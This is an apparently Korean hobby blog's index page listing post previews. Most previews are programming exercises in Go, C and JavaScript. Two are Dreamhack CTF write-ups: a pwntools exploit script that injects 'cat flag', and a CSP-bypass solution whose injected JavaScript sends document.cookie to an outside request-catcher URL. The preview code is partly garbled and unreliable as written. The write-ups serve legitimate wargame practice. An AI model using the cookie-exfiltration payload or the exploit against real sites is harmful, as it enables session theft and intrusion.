본문 바로가기

hacking sorcerer

(372)
go로 서버 뚫는 법 package main ​ import ( "fmt" "log" "net/http" ) ​ const port string = ":4000" ​ func home(rw http.ResponseWriter, r *http.Request) { fmt.Fprint(rw, "hello you're a panda") } ​ func main() { http.HandleFunc("/", home) fmt.Printf("listening on http://localhost%s\n", port) log.Fatal(http.ListenAndServe(port, nil)) }
블록체인은 행복입니다 packageblockchain ​ import( "crypto/sha256" "fmt" "sync" ) ​ typeblockstruct{ data string hash string prevHash string } ​ typeblockchainstruct{ blocks []*block } ​ var b *blockchain var once sync.Once ​ func(b *block)calculateHash(){ hash := sha256.Sum256([]byte(b.data + b.prevHash)) b.hash = fmt.Sprintf("%x", hash) } ​ funcgetLastHash()string{ totalBlocks :=len(GetblockChain().blocks) if totalB..
드림핵 out of bound from pwn import* ​ context.log_level='debug' ​ r=remote("host2.dreamhack.games",12515) ​ r.sendafter("Admin name: ","\xb0\xa0\x04\x08cat flag") ​ r.sendafter("What do you want?: ","19") r.interactive()
드림핵 csp bypass advanced 초 간단 풀이 replit으로 html, js 서버를 열어준다 static/js/jquery.min.js 로 경로를 만들어준다음 index.html에 이 내용을 추가하여 js를 연동시킨다. js에 location.href = "https://cggprwk.request.dreamhack.games/?memo=" + document.cookie; 이것만 쓴다. alert이나 a onmouseover등은 필요 없다. 그냥 이 내용만 써도 자바스크립트가 충분히 작동한다. 그리고 해당 웹 url을 이렇게 추가한 다음 flag에서 Submit으로 보낸다. vuln에는 해당 쿠키가 없기 때문에 자바스크립트를 주입하여 실행시킬 수는 있지만 해당 플래그 쿠키를 가져올 수는 없다. 관리자만 가지고 있으므로 submit을 통해 repo..
행복한 은행 관리법 packagemydict ​ import( "errors" ) ​ typeDictionarymap[string]string ​ var( NotFound = errors.New("Not found") errCantUpdate = errors.New("Can't update nonexistsing word") errWordExists = errors.New("That word already exists") ) ​ func(d Dictionary)Search(word string)(string,error){ value, exits := d[word] if exits { return value,nil } return"", NotFound } ​ func(d Dictionary)Add(word, def strin..
적정한 암호 생성하기 #include int check(char *str, char *str_check); void set(char *str_check); int main() { char str[100]; char str_check[3] = { 0, }; do{ set(str_check); printf("암호를 생성하시오 : "); scanf("%s", str); } while (check(str, str_check)); printf("적정한 암호입니다. \n"); return 0; } int check(char *str, char *str_check) { int i; for (i = 0; str[i]; i++) { if ('0' = str[i]) { str_check[0] = 1; } else if ('a' = str[i]..
드림핵 secret message 목을 딸 때가 왔다 __int64 __fastcall sub_7FA(FILE *in, FILE *out) { __int64 result; // rax unsigned __int8 count; // [rsp+17h] [rbp-9h] int nowChar; // [rsp+18h] [rbp-8h] int prevChar; // [rsp+1Ch] [rbp-4h] if (in == NULL || out == NULL) { *__errno_location() = 2; result = 0xFFFFFFFFLL; } prevChar = -1; count = 0; while (1) { nowChar = fgetc(in); if (nowChar == -1) break; fputc(nowChar, out); if (nowChar == prevC..
beauty 후후훗 constclock=document.querySelector("h2#clock"); ​ functiongetClock(){ constdate=newDate(); clock.innerText=`${date.getHours()}:${date.getMinutes()}:${date.getSeconds()}`; } ​ getClock(); setInterval(getClock,1000); so beautiful